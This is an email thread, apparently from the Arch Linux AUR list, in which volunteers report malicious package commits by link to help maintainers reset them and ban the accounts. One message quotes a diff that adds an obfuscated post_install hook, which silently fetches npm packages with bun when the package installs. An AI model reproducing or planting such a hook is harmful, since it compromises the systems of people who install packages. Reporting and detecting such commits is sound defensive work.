Yeah, similar (but different) string from the earlier series, these are all the same I think: https://aur.archlinux.org/cgit/aur.git/commit/?h=arm-linux-gnueabihf-gdb&id=8a3a641768d10cc7dd45eda973a5f01504ac616d https://aur.archlinux.org/cgit/aur.git/commit/?h=lightly-qt&id=969f5f3f9e676fb7b1d9867ff64405c1819d0082 https://aur.archlinux.org/cgit/aur.git/commit/?h=mpdas&id=dc69f5e7b0b4c54658a33a5dc596643b033b5f24 https://aur.archlinux.org/cgit/aur.git/commit/?h=netdata-git&id=7ef278e7fa6f7d6f4adc08838107989ce3b21220 https://aur.archlinux.org/cgit/aur.git/commit/?h=obd-auto-doctor&id=16f061dfac66054a552efc93c8803eadb491cdcb https://aur.archlinux.org/cgit/aur.git/commit/?h=ocaml-batteries&id=e7ce921ab2cba8fea42b602af0b3c60d60b5d03e https://aur.archlinux.org/cgit/aur.git/commit/?h=peksystray&id=d89bab7dfb0d89d1659b77bb52d0e76d8e0c0ffc https://aur.archlinux.org/cgit/aur.git/commit/?h=perl-gtk2-spell&id=86e72166dfd64f318972baf2e4dcc3112d0e1d65 https://aur.archlinux.org/cgit/aur.git/commit/?h=psi-plus-l10n-git&id=55ee3da40fc84eaf496efb46c886fa6b5d5776b6 https://aur.archlinux.org/cgit/aur.git/commit/?h=quazip-qt4&id=331499c820cf2ea76e224ec252f077e88497e302 https://aur.archlinux.org/cgit/aur.git/commit/?h=rakudo-star&id=d4f410af667fa8f522e884665fce44072d28b78e https://aur.archlinux.org/cgit/aur.git/commit/?h=repose-git&id=c1144bc9d3ef1ca7ceb059912eb073940577c23f https://aur.archlinux.org/cgit/aur.git/commit/?h=rochard-hib&id=11b8dd033ec765532232811f724b65958739ae0e https://aur.archlinux.org/cgit/aur.git/commit/?h=shadowgrounds-survivor&id=7c1a80c802ddb97c0a409449d08f57e06e25c201 https://aur.archlinux.org/cgit/aur.git/commit/?h=shatter-hib&id=7b1fdd3e7a0a8f37f79199632aba94a5a60464f9 https://aur.archlinux.org/cgit/aur.git/commit/?h=shortwave-git&id=6cd728c6067f9d875258c1c21dd648834da5ceac https://aur.archlinux.org/cgit/aur.git/commit/?h=sia-daemon&id=8fcb62e67b73a9da599477b3ccd3e8e13b5be1a6 https://aur.archlinux.org/cgit/aur.git/commit/?h=spaz-hib&id=b16948ac95b63f7eb5305ae8f608b92b15ecb6bb https://aur.archlinux.org/cgit/aur.git/commit/?h=synergy-1.6&id=eb6f075948bb9b8122022c13788a623a447961f4 https://aur.archlinux.org/cgit/aur.git/commit/?h=tmpmail-git&id=d84ff1741fb248f08901d561e6a03d7f16686441 https://aur.archlinux.org/cgit/aur.git/commit/?h=udefrag&id=6d5de72f84ab0d0ef8358b4e9c921b137ef8b8f0 https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-julia-git&id=efb398be888439fcab76fe9becb0c2b600ab77a4 https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-phpcomplete&id=0f5416162c80f1fbb029053aaa723167fb5f933c https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-voom&id=9ce5335bbdcbaf29cbf096b83fbf07267571e414 https://aur.archlinux.org/cgit/aur.git/commit/?h=vmware-vcli&id=90d2035e86a58ca7326eb85e2260106cb15b02a4 https://aur.archlinux.org/cgit/aur.git/commit/?h=vwm&id=a2a725030b0d1293a634136c53e0aa696201b9a2 https://aur.archlinux.org/cgit/aur.git/commit/?h=windows2usb&id=4e6a4ca4c3115d59ca31f4c474ee35197d5383ee https://aur.archlinux.org/cgit/aur.git/commit/?h=xpra-git&id=9fe6361b06c7b7a3ddfc506fb73c2b8b733976b6 https://aur.archlinux.org/cgit/aur.git/commit/?h=ynab4&id=0b58bc2760650bb106c9df095c6211f55e41c4b0
On Sun, 14 Jun 2026 at 23:49, Mark Wagie <[email protected]> wrote: > > > Another one: > > https://aur.archlinux.org/cgit/aur.git/commit/?h=shortwave-git&id=6cd728c6067f9d875258c1c21dd648834da5ceac > > > Sent with Proton Mail secure email. > > On Sunday, June 14th, 2026 at 8:23 AM, Nicolas Boichat <[email protected]> > wrote: > > > Maybe not the right term, malicious but harmless? > > https://aur.archlinux.org/cgit/aur.git/commit/?h=gimp-plugin-beautify&id=d7e60421ac68ee82493481a8c601e534947b4abd > > https://aur.archlinux.org/cgit/aur.git/commit/?h=voxatron-hib&id=fe6eb19b2e1c8af5d386e375e02aeed3b47eea42 > > https://aur.archlinux.org/cgit/aur.git/commit/?h=weeplugins-git&id=c425f29b62d051067f25496363283879f9bf75a4 > > > > Alright, enough for now, I guess the rest can be easily grepped. > > (and I see the force pushes here: > > https://github.com/archlinux/aur/activity?activity_type=force_push > > thanks progandy!) > > > > On Sun, 14 Jun 2026 at 22:05, Nicolas Boichat <[email protected]> wrote: > > > > > > Not really malicious per se, but not appropriate either, picked up by > > > my detection bot: > > > https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=gtk2%2bextra&id=424199b8cc09ff19fc8043bf0e017d1219c66654 > > > https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=openspades&id=efbf69ac253a0658488933f5b6d5d2c8ed543441 > > > https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=pg_vectorize&id=f2c0b5c635fd9417af2b961f44188b7d0de31bb7 > > > https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=unsf-git&id=6d2cb90d5060973f5a6ce5f29faa1c8ba9e358fd > > > > > > I assume there are more coming, those 4 for now. > > > > > > On Sun, 14 Jun 2026 at 11:30, Nicolas Boichat <[email protected]> wrote: > > > > > > > > Those too -- but I can't see the malicious commits on HEAD so I assume > > > > somebody took action already. > > > > - > > > > https://aur.archlinux.org/cgit/aur.git/commit/?h=gulden-appimage&id=8188e5841b9d50384b7dde9136d80fbd1415c818 > > > > - > > > > https://aur.archlinux.org/cgit/aur.git/commit/?h=hack-browser-data-git&id=191ddf65e0337ee9df30d7e643fc13f6cea3f30d > > > > - > > > > https://aur.archlinux.org/cgit/aur.git/commit/?h=kcmlaptop&id=ff8e6c657a41059abbd833196b18e852453385e4 > > > > > > > > On Sun, 14 Jun 2026 at 11:21, Nicolas Boichat <[email protected]> > > > > wrote: > > > > > > > > > > There's a new wave (detected using my local Gemma E2B model FWIW). > > > > > > > > > > It's a little bit more elaborate: > > > > > https://aur.archlinux.org/cgit/aur.git/commit/?h=htbrowser-bin&id=462c21877fe6d2f563ed6620ef227e06ac8c51c8 > > > > > > > > > > diff --git a/htbrowser-bin-deps.install b/htbrowser-bin-deps.install > > > > > new file mode 100644 > > > > > index 000000000000..9806501accad > > > > > --- /dev/null > > > > > +++ b/htbrowser-bin-deps.install > > > > > @@ -0,0 +1,3 @@ > > > > > +post_install() { > > > > > + $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' > > > > > $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' > > > > > 'n'"e"'x'"t""f"'i''l''e''-''j''s' > > > > > +} > > > > > > > > > > On Fri, 12 Jun 2026 at 01:47, Jonathan Grotelüschen > > > > > <[email protected]> wrote: > > > > > > > > > > > > Hi everyone, > > > > > > > > > > > > we’re working hard to reset/delete all malicious commits and ban the > > > > > > accounts. > > > > > > > > > > > > If you find more malicious packages, please **send them as a reply > > > > > > to > > > > > > this email** to keep them all in one thread. > > > > > > > > > > > > Thanks! > > > > > > > > > > > > -- > > > > > > tippfehlr > >
